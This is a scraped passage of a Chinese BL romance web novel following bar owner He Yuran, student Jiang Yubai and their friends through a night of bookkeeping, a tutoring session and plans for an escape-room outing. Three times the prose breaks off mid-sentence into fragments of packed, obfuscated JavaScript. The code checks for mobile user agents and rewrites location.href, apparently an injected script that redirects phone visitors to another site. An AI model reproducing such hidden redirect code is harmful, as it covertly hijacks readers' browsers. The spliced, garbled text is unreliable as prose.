“我是说,我可以帮你一起对。”江逾白没察觉到不对:“我爸之前干过这个,我懂一些。” 贺欲燃收回自己的手,脸又开始发烫:“说话就说话,别总碰我。” 不知是怎么回事,他总觉得自己的声音有些颤。 “不好意思。”江逾白看他没走,坐在了旁边的沙发。 贺欲燃现在只想离他稍微远一点:“算了吧,我自己来就行。” “你自己今晚都弄不完的。”江逾白又说:“账本太乱了,两个人分工,这样快一点,一个小时就能弄完。” 贺欲燃看着江逾白的眼睛,这会儿应该是酒醒了,那双眼睛又变的黯然无光,但反而更像在说真话。 “行吧,我算一下成本,这边这几个账你看一下,不懂的问我。”贺欲燃把其他几个账本推过去。 江逾白随便翻了几页,就有了头绪:“燃哥,笔给我。” 江逾白伸出手,手指在贺欲燃面前微微张开,白里透红的指尖,纹路深邃的掌纹,用力时显现的青筋。 他偏过头,拿起笔粗暴的塞给了江逾白。 两个人就这样对着厚厚一沓账本,全程没交流几句,却异常的默契,贺欲燃真没想到江逾白一个高中生还会做账,并且心算速度很快。 指针快转到一点的时候,江逾白终于填下了最后一个数字,他伸了个懒腰:“燃哥,我完事了,你的那边弄好了……” 贺欲燃靠在沙发椅背,安静的握着手里的账本睡着了。 他头发散下来了,平常只看他在脑后扎一个小揪揪,原来散下来是过长的狼尾。 贺欲燃在江逾白眼中始终是张扬的,艳丽的,但此刻,他静静的躺在那,平日里迷人又狡黠的媚眼此刻闭合成一条温柔的弧线,几缕发丝描绘着他轮廓分明的侧颜,是一种清冷,柔润的美。 他胸口平静的起伏,均匀的呼吸声在安静的房间里放大。 江逾白看了好久,直到眼眸开始酸涩,他抬起手,轻柔的把贺欲燃耳鬓的头发捋到耳后。 关了灯,屋子暗下来,只剩床边的台灯散发出微弱的光亮,江逾白轻轻把手绕过贺欲燃身后,托住他的脑袋,另一只手揽过他的肩胛,渐渐的把人放平。 “咔嚓。”门开了。 “燃哥,那个账本……”王康睁着大眼睛看着倒在沙发的两个人。 “嘘。”江逾白一手搂着贺欲燃,一手贴到唇边,示意他噤声。 王康直接傻眼了,关了门退出去。 屋子再次恢复半暗,贺欲燃被灯晃了一下,翻了个身,手腕划过江逾白脖颈,顺着惯性扣了一下,霎时间,两个人的距离不过十厘。 呼吸交错,淡淡的风雨兰气息再一次将他的鼻息缠绕,他头脑发麻,手脚忽然失去了自控一般,僵在早已扩散至胸腔的气味中。 江逾白缓了一会儿,才伸手将贺欲燃搭在他肩膀上的手拿下来,无意间触碰到他手腕上的那条手链。 他小心翼翼的将手链转了半圈,摸到一个半环形吊坠,因为破碎而留下的缺口早已被磨平,在薄弱的灯光下微微发亮,江逾白又掏出自己衣服里的项链,末端处,也串着一个只留下半环的吊坠。 夜色中,两个半环渐渐凑近,最后缺口合一,成为一个完整的圆圈。 “找到你了。” 江逾白笑起来,低下头时,贺欲燃的头动了动,刚好靠进了他的臂弯。 他低下头,贴近,屏住呼吸,然后用鼻尖,轻轻的,蜻蜓点水般,蹭了蹭贺欲燃卷翘的睫毛…… 软的。 江逾白轻笑。 “贺欲燃。”他抬起头,声音轻的像是要融化在黑夜中的尘埃:“晚安。” 门外,王康对着门来了个三鞠躬,虔诚的道歉:“对不起对不起燃哥我不是故意坏你事儿的,明早起来别打我,别扣我奖金嘤嘤嘤!” 跑到楼梯口。 “不对啊?”王康回忆着门里的场景,整张脸都扭曲了。 “我哥怎么在下边儿啊?!?!” - 贺欲燃早上醒来的时候是懵的,他根本忘记了自己是怎么睡着的,只是坐起来看到盖在他身上的毯子才恍然醒悟。 自己昨天做账太累直接睡着了,是江逾白把自己放到沙发上,给他盖的被子。 他看向空空如也的床,被子已经整理好,而那套可爱的小熊印花睡衣也已经被叠的板板正正放在了床边。 “我靠。我他妈昨天跟江逾白睡在一个屋?”贺欲燃忍不住自己骂自己:“我是傻逼吗?” 他从沙发上坐起来,烦躁的搓了把脸。 昨天江逾白是怎么把自己放下的,又是怎么帮自己盖上被子,这一幕幕画面在他脑海里浮想联翩。 自己睡觉的时候没说什么梦话吧? 打呼噜有吗? 不是怕尴尬,他只是讨厌在外人面前失态。 贺欲燃的思绪乱的跟毛线一样,他起身想拿水壶烧水,却看到了他早已被倒满的水杯,还有厚厚一摞被整理好的账本。 翻开账本,江逾白俊秀的字体映入眼帘,每一页都写的特别清楚,账目的数字也全都对上了,而自己昨天晚上没做完的账目,也被他整理好了。 他的字潇洒又张扬,和他的人有着很大的反差。 贺欲燃蹙眉,忍不住揣摩起字迹的主人。 他字体张扬,喜欢酷炫的装修风格,但人却长的忧郁又冷漠,一副好学生的样子,不爱说话,却喜欢听情歌,又擅长装乖。 他到底是个什么样的人? 不是喜欢裴意吗,现在又在干什么?爱屋及乌吗? 他握着那杯微热的水,这份触感好像不太真实,因为记忆里他早起醒来,杯身从未这样暖和过。 小时候自己发烧生病,也要自己拖着沉重的身体吃药,烧水,爸妈打来关心的电话时,嘱咐的都是:你长大了,这些小事自己要学着做。 后来长大了,遇到身边的朋友,他都能把每个人照顾的很好,去年楚夏发烧的厉害,他无微不至照顾了三天。和三个前任谈恋爱期间,他也永远都是照顾别人的角色。 不是因为没人愿意照顾他,是他总把自己包装的太强大,始终站在主导的地位,让别人认为他一个人可以,他不需要。 他捏紧了水杯,却很讨厌自己这样。讨厌因为别人一点施舍就忍不住动摇的自己。 他没喝,放下水杯进了浴室,也不知道是在跟谁拗气。 洗完漱的时间还不到九点,到楼下的时候,店内还没几个客人,员工还没到上班时间,只有柯漾和王康坐在吧台。 贺欲燃打了个哈切:“几点到的啊?” 他一如既往的走到咖啡机给自己打了杯咖啡,一切都那么平常,但他又感觉这个气氛不对。 回头,他对上王康躲闪的目光。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848859|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我问你俩话呢,愣什么神呢?”贺欲燃说完,突然感觉腰一阵酸痛,大概是沙发太软了,睡劳累了,他直了直腰:“啊卧槽,疼死了。” 这一句不说还好,一说王康脸直接绿了。 柯漾在旁边看看他:“哥啊,你……” 贺欲燃这下火了:“哪个大神发慈悲给你俩毒哑了?给个地址我过去重谢一下。” “啊呀不是啊。”柯漾忍不住了:“哥,你这个,身体还好吧?” 贺欲燃总感觉他俩没憋好屁,疑惑了一下:“好着呢啊,怎么,你俩提前知道我得绝症了?” “没有没有。”柯漾还想说什么,但最后还是闭嘴:“算了。” 贺欲燃指着他:“最好别逼我一巴掌呼过去。” 王康摆出一脸琼瑶剧男主有苦说不出的样子:“哥啊,我是希望你幸福的你知道吗?无论你做什么,干什么,我都支持你。” 贺欲燃:“?” 他真有点怀疑过自己是不是得绝症了 柯漾也过来,沉重的捏了捏他的肩膀:“我们是一辈子的兄弟,无论如何,我们都不会用有色眼睛看你,只希望你幸福就好!” 王康在旁边抹了把泪:“还挺期待我未来嫂子呢,结果我哥成嫂子了……呜呜呜呜……” 柯漾也哭,他俩对着开始哭。 贺欲燃懵了一会,然后突然反应过来。 “草!昨天那是我朋友!再说了,他长的又高又大的,你俩觉得能是我喜欢的类型吗?” 贺欲燃气的脸红脖子粗,但柯漾和王康只是看了他一眼,接着哭。 “别说了燃哥,我都明白,我上次给你买的枸杞还有,你喝了补一补,别伤了身子,毕竟是第一次,我俩不希望你受伤!” “你傻了吧,哥现在用不着补了!” “哦对。” 贺欲燃活着,实际上已经死了好一阵了。 “我再说一遍!我不谈恋爱不会找人那个!我现在喜欢的是裴意,是没通知你俩还是怎么?”贺欲燃一人给了一个大逼兜。 一阵鸡飞狗跳之后,王康捂着被贺欲燃猛捶过还在嗡嗡作响的脑袋,柯漾捂着裆,灰头土脸的坐在吧台听贺欲燃训。 终于把来龙去脉解释完了,贺欲燃满头大汗,抓起咖啡喝了一口:“你俩再瞎猜我和别人的事儿,我真的会找个日子给你俩嘴撕开。” “不是啊,主要是你俩真的很容易让人误会啊。”王康委屈巴巴的反驳。 “就是啊,你知道今早我去叫你碰上那男的,人家说啥吗?” 柯漾手舞足蹈的站起来:“来王哥,你陪我演一下。” 王康站起身:“我演你,来。” 说完两个人迅速调整表情,柯漾在一旁努力学着江逾白那张冷脸的傻出,成功把贺欲燃气笑了。 王康还原着当时的情景,假装敲门:“诶你好,那个燃哥……” “嘘。”柯漾故意压低了声音:“燃哥还在睡,先别吵醒他。” 其实柯漾学的一点也不像,但不知为何,他就是脑补出了江逾白的表情。 王康继续往下演:“这样啊,你们昨天睡的很晚吗?” 柯漾直接把门关了,回头,继续学着江逾白板着脸:“让他多睡会儿吧,他昨晚很累。” 草。 贺欲燃低头,脸又开始烧了。什么叫他昨晚很累啊,江逾白你能不能说话别这么不清不楚。 然后王康和柯漾笑的抱在一起。 “他说你昨晚很累~” “累什么啊燃哥~” “我特么在做账啊,做账!” “哦~做——什么?” “你俩给我死回来!” “开玩笑的啊开玩笑!” 16. 少给老子装乖 王康端着两个空酒杯准备送到后厨,路过吧台:“领导,八号桌那边要两杯spoil。” 贺欲燃没停下手中调酒的动作,点头:“告诉小赵帮我那两瓶Brandy,左边冰柜剩的青柠都拿过来。” 王康比了个ok的手势,抓起衣襟处的对讲机:“小赵,能听到吗?再要两瓶白兰地,还有青柠……嗯对……没办法spoil最近火的很,燃哥快忙不过来了。” spoil是贺欲燃最近新创的酒品名字,意为溺爱,因为独特的配料使得口感一绝,前调柔和酸甜,后调浓烈呛口。酒如其名,很适合当代年轻人的口味,一传十十传百,最近的客人十个有八个点这杯酒。 三分钟不到,店员小赵就风风火火的从酒窖出来,拿来几瓶白兰地和几袋青柠:“哥有啥需要帮忙的,我来帮你会儿。” 贺欲燃眼皮都没抬,单手开酒:“不用,比例你弄不明白,待会我让柯漾来。” 小赵眼巴巴的凑过来,看着十几种他看都看不懂的调料和酒品被贺欲燃玩转在股掌之间,有种说不上来的崇拜:“燃哥,我能不能跟你学调酒啊?好帅啊。” 贺欲燃看他眼冒金光,挑了挑眉:“想学啊?” 小赵疯狂点头:“嗯嗯嗯嗯!” 刻度杯被贺欲燃上抛,在半空倒转一圈后又稳稳落到他手上:“只教一遍啊。” 手中这杯马上做好了,他左手拿起摇壶上下晃均匀,大拇指撬开盖子,右手把番石榴汁倒进去,白色气体渲染开来,长勺在他指尖巧妙的转了两圈落到杯子里,搅匀,捻起两片薄荷片夹到杯边,一杯调好的spoil呈现在小赵眼前。 贺欲燃操作简直太快,小赵的脑袋跟着他的手晃来晃去,结果最后自己都快晕了都没看懂。 “我……草……”小赵呆滞的给贺欲燃鼓掌:“你们脑子快手也快的就是牛逼啊……” 贺欲燃觉得他的形容好笑:“好了,教学完毕,忙你的去吧。” “啊啊啊,燃哥,就再教一下!我脑子不好使没看懂。”小赵上去摇了摇贺欲燃的胳膊。 “你那不是脑子不好使,你眼睛也不行。”贺欲燃打趣他。 “诶,小裴老师来啦?啊……还有……”王康看看前几天刚从贺欲燃房间走出去的冷脸大帅哥,嘴角抽搐了一下:“那个,燃哥,你朋友过来了!” 裴意和王康打完招呼,摘下头顶的渔夫帽,露出一口瓷白的牙:“欲燃,这个点好像很忙啊?” 贺欲燃放下手里的酒杯,朝他笑了笑:“还好,周末客流量大一点。”他又看向身后的江逾白:“一起来的?” “嗯对,我们约在校门口一块吃了个饭过来的。” 贺欲燃暗暗咬牙,这俩人一起去吃饭简直就是随手的事,而且次数都快比裴意跟自己吃的次数多了一倍了。 小赵手还挂在贺欲燃身上:“燃哥,都是你朋友啊?好帅哎。” 裴意抬起头,笑的阳光:“你好,我叫裴意,贺欲燃的校友,也是好朋友。” 小赵点点头:“你好你好,叫我小赵就行。” 几个人的目光锁定江逾白,不约而同的等着他开口说话。 但江逾白只是沉默的一手拽着书包带,那件黑色的冲锋衣衣领又被他立起来,从外面沾了凉,周身散发着一股寒气,那双本来就淡漠的双眼似乎更加深邃,目光一直向下。那种“懒得屌你”的感觉被提现的淋漓尽致。 贺欲燃觉得他不对劲,顺着他的视线下滑,看到了小赵还环着自己胳膊的双手。 他莫名觉得心虚,迅速甩了两下:“热,别搂着我。” 小赵灰溜溜的躲开:“哦。” 江逾白终于抬起头,短暂的瞥了一眼小赵:“你好,江逾白。” 还不如不说话,这一说话,小赵感觉下一秒拳头就要飞过来了,他尴尬的“嘿嘿”一笑:“那你们聊着,我去后厨帮帮忙。” 贺欲燃皱眉,对比昨天跟邹琪玥第一次见面他乖顺好接触的样子,今天怎么这么冷淡。 怎么着,今天懒得装了,还是吃枪药了。 裴意什么也没看见,跟个好奇宝宝似的待会扒拉一下勺子,一会儿闻闻那几瓶酒。 贺欲燃觉得他认真观察一些事物的时候,眼睛瞪得圆圆的很可爱:“闻出什么味儿来了?” 裴意抬头,贺欲燃正托腮注视着他,头顶五色变换的灯映照下来,像是幻灯片一般流转在他墨色瞳孔中,那浅浅的笑意也灵动起来。 贺欲燃见他呆呆的看着自己不说话,疑惑的蹙了下眉:“嗯?” 背景音正好播放着舒缓温柔的钢琴曲,他嗓音轻轻的,宠溺的意味不深不浅。 裴意并不擅长遮掩自己眼中的情绪,贺欲燃一眼就看穿他的晃神。 如果现在有系统播报的话,估计是:裴意好感度增加100。 贺欲燃感慨,看来攻略直男,还得用美色。 裴意直接竖起大拇指,肯定的说:“卧槽,真的,你今天巨好看。” 贺欲燃托着腮,目光从裴意的脸颊向下,然后又轻扫回来,那双不用刻意妖媚的狐狸眼每一帧的停留都充满了引诱:“是吗?怎么好看?” 裴意挠挠头,在脑袋里搜索了半天词条,最后以失败告终:“就是……你要是女的,我绝对倒追你。” 够了。 贺欲燃两眼一闭。 如果真的有旁白播报的话。贺欲燃对裴意好感度-100。 “好啦,借你宝地一用,对了,地下室是从这边走是吧?”裴意拍屁股要走。 “哦,直走下左边楼梯。” 贺欲燃声音都蔫儿了,恋恋不舍的收回目光,无意间撇到他身后的江逾白。 他双唇抿的很用力,似乎在极力往下压,四目相对,他直接把下半张脸埋进了衣领:“嗯,先走了燃哥。” 妈的? 江逾白你刚是不是在嘲笑我? 来了桌老顾客,贺欲燃跟他们寒暄了一阵,还赠送了两杯果酒,就把吧台交给了柯漾,柯漾调酒是跟他学的,两人大差不差,所以特别忙的时候他俩就轮班换。 一时无聊下来,贺欲燃就想看看情敌和自己的crush在干嘛。 “我一直觉得你口语之类的都没什么问题,就是太模板化了,其实真正应用起来不用那么死板的,来,你看这里……” 贺欲燃耳朵贴在门缝,隐约能听清楚两个人的声音。 除了一些探讨交流,翻书写字,没什么太特别。 “一个真补一个真听啊?” 贺欲燃小声嘟囔,说实话他真不太信,这世界上能有哪个gay和喜欢的人独处一室不做点什么。 “好,我出去一下。” 靠,江逾白的声音?? 沙发就在门旁边,江逾白长手长脚的也就两秒的功夫。贺欲燃手忙脚乱的撒丫子就要跑。 但门已经开了。 江逾白有点懵:“燃哥?有事吗?” 贺欲燃有点囧:“哦,路过。” 江逾白看着位于走廊尽头的卧室:“路过?” 靠,嘴快了脑子没跟上。 “啊,就路过,我自己店地下室来回走走怎么了?”贺欲燃单手抄兜,硬着头皮说。 “没怎么。”江逾白追上他乱蹦的目光,轻笑了下:“其实我不介意。” 贺欲燃打量他:“什么不介意?” 江逾白笑意未退,目光肆意的在他因为过度紧张而弥上一层红晕的耳根滑动:“不介意你也进来一起听课。” 被看穿了,贺欲燃真想找地缝钻进去。 “我听个屁,累得很就想进来坐会儿。”越解释越假,贺欲燃干脆破罐子破摔。 他走进去,依旧扎在后脑的小辫子倔强的晃了两下,配上他刚才那副不耐烦的表情,臭屁的很。 裴意给江逾白补习时,两个人交流几乎从来不离开书本课题,贺欲燃还以为会有什么修罗场,结果他撑着头听的都快睡着了,枯燥的英文在自己耳边念得他心烦,他发现自己是真的不适合学习,要不是自己脑子好使,再就是考不好回家就要挨揍,他还真考不上复旦。 “燃哥在不?我方便进吗?” 是邹琪悦的声音,贺欲燃睁开一只眼,懒散道:“进吧。” 邹琪玥走进来,看到屋里有三个人有点惊讶:“啊,这么多人。” “小玥,好久不见啊。”裴意打了个招呼。 “小裴哥!是啊,拍毕业照那天我都没看到你。” “哈哈哈我们班位置比较远。” 邹琪玥也笑了起来,瞥到旁边的江逾白,眼睛一亮:“诶,帅弟弟你也在啊?” 江逾白点点头。 “嗯?你们俩怎么也认识?”裴意冒了个问号。 “哦,前几天燃哥带他来店里过……” “咳咳咳……咳咳咳。”贺欲燃快把肺咳嗦出来了。 邹琪悦脑袋机灵,及时刹车:“啊,就,燃哥带他过来玩,所以,所以见过。” 裴意有点纳闷,毕竟根本没听他们俩任何人提过:“诶?是吗?你们俩什么时候关系这么好了?” 贺欲燃硬着头皮圆谎:“没有,就那天……” “那天出去咖啡馆兼职,刚好碰上燃哥来店里,随便聊了几句,燃哥送的我回家。”江逾白语速平稳:“开车路过这里,我挺好奇的,所以燃哥就带我进来看了看。” 贺欲燃忽然有些懵,呆呆的对上江逾白的眼睛,他撒谎真是不带脸红的,甚至连笑容都没有任何变化,熟练的让人胆寒。 这人到底会不会表情失控啊?私下练过吧? 邹琪悦意识到自己好像说错话了,抿着嘴吧不敢直视贺欲燃的脸,生怕再一个眼神不对自己下个月没班上了。 “哦,这样啊。”裴意对朋友的信任度不是一般的高,压根不去深想:“那你俩怎么都没跟我提过,我看你们平时都不怎么讲话,还以为不熟呢。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848860|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “没有,不会的。”江逾白利索的接,转头看着贺欲燃那张扭曲的脸,慢悠悠道:“我和燃哥关系挺好的。” 进退不是,贺欲燃咬牙切齿的赔笑:“嗯,呵呵,对……” 好你妹。好你个头! 气氛说不上的微妙,估计也只有裴意压根什么都没反应过来,还笑呵呵的搂着江逾白的脖子:“那就好,反正给你补课还有一个多月的时间呢,你也和燃哥好好熟悉熟悉,我跟你讲,他英语也超好的,高中时候英语竞赛可是拿了国奖,你有什么不会的题也可以问他。” “是吗?”江逾白安静的与他对视,抿着嘴唇笑了笑:“那燃哥好厉害。” 肉包子打狗,不管贺欲燃怎么表现出讨厌他,哪怕都写在脸上了,江逾白非但不恼,还能心无旁骛的冲他笑。 有的时候真的很怀疑,可能江逾白根本不是什么情敌,完全就是他上辈子做了什么恶事上头派来膈应他的。 “邹琪悦,来干嘛的?”贺欲燃转头,只留下个眼白给他。 邹琪玥恍惚了一下,意识到气氛没那么微妙了,才悄声开口:“哦对,就是我发小新开了个密室,想让我带着朋友去给他捧捧场,本来想着问问燃哥来不来,咱几个去走个过场就算了,但刚好大家都认识嘛。所以……明天要不要一起?” 贺欲燃直腾腾躺回去,翻了个身:“没……” 裴意忙道:“有空啊!密室逃脱我都好久没去玩了,考公之后天天宅家看题我都要疯了,正好去放松一下,几点几点?” 一听裴意这么说,贺欲燃又把眼睛睁开了。 虽然他对这种游戏没什么兴趣,但裴意特别喜欢,之前两个人还不熟的时候,被共同好友拉着一块玩了一次,裴意典型的人菜瘾大,碰到什么吓人的跑的比鬼还快。 想想当时昏暗的环境,恐怖的氛围,如果他刚好在裴意身边的话…… “明天店里不忙,我有空。”贺欲燃积极报名。 邹琪玥转向江逾白:“那弟弟呢?” 江逾白犹豫了下:“几点?我明天放学之后要去兼职,可能时间对不上。” “哎呀,我看你天天下了学就跑兼职,回去还要做功课,”裴意当即打断,搂着他的脖颈晃了晃:“小小年纪干嘛活的这么死板,来跟我们出来放松放松。” 江逾白还有些犹豫:“可……” “干嘛强人所难。”贺欲燃一张嘴就是满满的揶揄,眼里倒是晲着笑:“小白勤工俭学本身就要争分夺秒,你让人家推了工作来陪咱们玩,他心里也有压力,玩不开心的。” 这些都是漂亮的过场话,毕竟明天的密室只要江逾白不在,那就等于少了个最大的麻烦。 裴意觉得他说的有道理,点了点头:“嗯……也是哦,就是好可惜了。” “没办法,只能说不巧了。”贺欲燃笑的极其好看:“下次吧,小白,有空一定叫你。” 嘻嘻,下次也不叫你。 面对他的火上浇油,江逾白只是淡淡的撇了他一眼,没打算开口。 邹琪悦左看看右看看,明明总感觉这俩人不对劲,但又说不上来:“嗯……那就定了?弟弟不去是吧?我跟我朋友预约一下。” “去。” 江逾白忽然道:“我可以提前下班。” 贺欲燃的笑容僵的难看…… “真的?没影响吗?”裴意惊喜的询问。 “没影响,和店长说一声就好。”他笑笑:“小裴哥说得对,我是该劳逸结合的。” 他放下钢笔,那双透亮的眸子一如既往的淡漠,他朝某个人的方向微微扬起下颌,不知是在对谁强调道:“放心,明天我一定准时到。” 他浑身上下有种“你能把我怎样”的猖狂。 贺欲燃有种想炸死全世界的冲动。 我这一辈子,最雷心机boy…… 裴意开心的直拍巴掌:“那太好了,这种游戏人多才好玩!” 贺欲燃仰天长叹,也就只有你觉得会好玩吧,我那傻直傻直的crush。 “好,那六点广场集合?没问题吧?”邹琪玥问。 “可以。”裴意点点头。 “行,那我先出去忙了,明天见哈!”邹琪玥推门走了。 裴意看看手表,也已经八点,他开始收拾桌子上的书本:“我刚叫了车快到了,我也先走了,明儿见哈。” 江逾白装着书包:“路上小心。” 裴意走后,屋内又剩下两个人,贺欲燃想起刚才他看向自己那个眼神就火大,索性平躺过去不看他。 “燃哥。”江逾白叫他。 贺欲燃迫不得已瞥了一眼,就看见江逾白站在门口,刚才脸上那份猖狂已然消逝,而是绽放出一个如沐春风的笑容:“明天见。” 贺欲燃直接扔了个枕头撇了过去,但门已经关上,软绵绵的枕头又被弹回来,狼狈的在地上滚了好远。 “草!” “少他妈跟老子装乖!” 17. 星火燎原 从上家酒吧辞职了之后,江逾白在樱花路周围找了个咖啡馆工作,朝八晚五,环境干净不吵闹,江逾白还挺喜欢这里的。 上午人不多,祁朝念非要跑过来找他玩,这会儿正在咖啡机前白嫖江逾白的员工福利。 “呕,好苦啊!这种东西你们是怎么喝下去的。”祁朝念感觉自己的嗓子被什么东西扼住了一样,苦的直翻白眼。 江逾白拿起那杯咖啡倒进了垃圾桶:“你自己抢着要喝的。” 祁朝念喝了两口酸奶才缓过来:“那不是好奇嘛?一直喝工业咖啡,这会想尝尝手磨的,没想到。”她又干呕了一下:“超级无敌的难喝。” “诶,你能不能给我做一杯加糖的,我想喝那个什么奶酪椰椰,哦还有那个……” “你说的这些不在我员工福利范围,想喝自己买。” 祁朝念悻悻然:“切,小气鬼。” 江逾白擦拭着咖啡机:“怎么不去找你女朋友,跑我这来干嘛。” “怕你无聊找你玩,怎么?嫌我烦啊?” 江逾白深吸了口气,面对眼前这个留着鲻鱼头,一身机甲风的女生,眉毛皱成了个川字:“什么逻辑。” 祁朝念笑嘻嘻:“就想你了来找你玩儿会。” “哦。”江逾白无情拆穿:“又分手了。” 祁朝念不嘻嘻。 “你能不能别每次都拆穿我啊……不想提你还非要说!” 江逾白看着她哭的面部扭曲真的很想笑,抽了几张纸塞过去:“这次又是因为什么?没秒回?没报备?” 祁朝念哭的一把鼻涕一把泪,憋屈的说:“她说我剪了头发像铁t!” “嗤——”江逾白抿住嘴。 真的有在很努力的憋了,但还是控制不住。 祁朝念吸了吸鼻子,把纸巾大力扔在垃圾桶:“这次,老子绝对不和好了!” 江逾白不屑的扫了她两眼:“我不喜欢冷笑话。” “……” 这是祁朝念第几百遍说这句话了,江逾白记不清了。 祁朝念气的直跺脚:“我说的是真的!这次情况不一样!你相信我,哥们绝对让你看到我的改变!” 江逾白看着她斗志昂扬的样子,眉目中满满的嫌弃:“哦。” 祁朝念指着他鼻子:“激将我是吧,那你就看着,老子要是再跟她和好……” “她们都说我好帅,为了追到我想破脑袋——” 祁朝念手机响了。 “喂?” “为什么不回我微信。”娇柔的女声从电话那头传出:“还在生我气吗?” 祁朝念竖起来的眉毛瞬间缓解了,嘴角压都压不住,却还在那硬装:“不然呢?” “好吧,对不起你别生气了宝宝,我就是开玩笑的……” 江逾白“呵呵”一声。 二十分钟后,祁朝念扭扭捏捏的走到江逾白身边:“那个,我女朋友叫我……出去,我改天再……找你玩儿?” 江逾白习以为常:“恋爱脑是绝症。” 祁朝念破防了:“恋爱脑怎么了?你不也是恋爱脑?” 江逾白目光示意出无趣:“你哪得出的结论。” “哦,是谁跟梦中情人就见一面就被掰弯了。”祁朝念贱嗖嗖的戳着江逾白的胳膊:“某人还幻想着美好的重逢~哎呦,浪漫的邂逅……” 江逾白手中的动作一顿,呼了口气,像是自己也没缓过神:“我见到他了。” 祁朝念僵住了,这句话像如来佛祖回音似的在脑海里一遍遍播放。 三秒后,她大喊了一声:“真的假的!!这么狗血??” “你逗我玩儿呢吧?你他妈不会是认错了……” 祁朝念一直觉得江逾白是痴心妄想,世界这么大,上海人这么多,两个只匆匆见过一面的人怎么可能说遇上就遇上。 “没逗你。”江逾白放下手里的抹布,回头看向她,眸光一寸寸加深:“但我不会认错的。” 祁朝念这下是真信了:“我草……你去买彩票吧江逾白,你这概率,演的吧?” 江逾白打开水龙头洗手,低垂下的眼睑掩盖了眸中的波澜:“嗯,见到他时我也很意外。” 雨中亮晃的车灯,薄薄的雨墙后,曾无数次出现在梦里的脸。那一刻胸腔中嘭嘭直跳的心脏,浑身极速凝固的血液,都在一遍遍承认这个重逢的事实。 “你们现在认识了?联系上了?” 江逾白点点头:“算是吧。” “那你,那你现在跟他就是……”祁朝念比事发本人还激动:“什么相处模式?哎呀就什么关系啊?” 江逾白回头看着祁朝念的满脸期待,眼眸中闪过一丝难以捕捉的戏谑。 “怎么说呢……” 祁朝念一巴掌过去:“少卖关子!” “情敌。” “??” _ 江逾白到清吧的时候,人都来齐了。邹琪玥看到他来,从男朋友怀里起身:“小白你可算来了,就差你了!” 江逾白不好意思的赔笑:“抱歉,晚上突然有点忙,来晚了。” 贺欲燃抓起车钥匙,在食指转了一圈:“你再不来都不打算带你了。” 江逾白闻声看去,贺欲燃慵懒的靠在吧台,长腿交叠,清爽的浅蓝色卫衣搭配白色直筒裤。鬓边的碎发被他精心打理过,露出粉白的耳垂,十字架单边耳坠狂放不羁的点缀在他乖巧简单的穿搭中,仿佛是他内心深处的某种独特宣言,矛盾却又合理。 精心打扮过,为了裴意么。 但作为直男的裴意大可能压根不会发现他会有什么变化。 江逾白勾唇一笑:“我相信燃哥不会的。” 贺欲燃语塞,那双真挚单纯的眼神实在逼真,他翻了个白眼。 裴意也从椅子上蹦下来,认真的数了下人数:“刚都没发现有这么多人,咱们这些人坐欲燃的车应该坐不下。” 邹琪玥点点头:“确实,这样吧,我和我男朋友做出租车。其他五个人就够了。” 王康肯定的鼓掌:“非常明智的选择,情侣就要有情侣的自觉。” 邹琪悦害羞的笑了,伸手重重的推了下王康,警告道:“你再嘴欠我要揍你了!” “狂躁!”王康敬畏的看看邹琪玥身边的男朋友:“兄弟平常没少受苦!” 男生挠挠头,宠溺的看向邹琪玥:“没有,小玥平常很温柔的。” 邹琪玥嘿嘿一笑,两人满是爱意的目光交错,恋爱的粉红泡泡飘了满屋。 “得了,你再说下去我真觉得有点恶心了。”王康又被甩了一斤狗粮。 全场哄然大笑。 裴意笑的肚子疼:“王康你东西掉了。” “啥?” 裴意:“自尊。” 王康黑脸。 柯漾一巴掌拍过去:“王康OUT!” “哈哈哈哈哈哈!” 几行人笑的你推我攘的走出清吧,贺欲燃跟在后面,也不禁笑出声,好像只要有这些朋友在身边的时候,他才能真的感觉到开心。 抬头,江逾白不知何时走到他身边,目光落在他脸上。 贺欲燃觉得不自在:“看我做什么?” “没什么,只是觉得今天的你不太一样。”江逾白转过头,只露给他一个侧脸。 贺欲燃看看自己,慵懒的晲了他一眼:“哪不一样,不一直都挺帅的。” 江逾白被他逗笑,门外余晖倾泻,形成氤氲的光圈,顺着他乌黑的发丝落到脸庞,他嘴角含笑,眼波流转:“今天的耳环,很衬你。” “……” 贺欲燃的耳坠泛着光,映照在他浅淡的眸色中,晃动,闪烁,变成微弱的星芒。 这个点游乐场人不是很多,很多设施都不怎么需要排队。 “屁滚尿流密室大逃脱??”贺欲燃极为震惊的念出店名。 就连江逾白都忍不住嘴角抽搐。 好屁滚尿流的名字啊。 王康在一旁笑的快把柯漾捶成筛子了:“邹琪玥,你发小是人才啊,这什么名儿啊?” 邹琪玥伸出一根手指摆了摆,神秘兮兮的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16848861|191438||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 样子:“待会儿你就知道这名字有多么贴切了。” 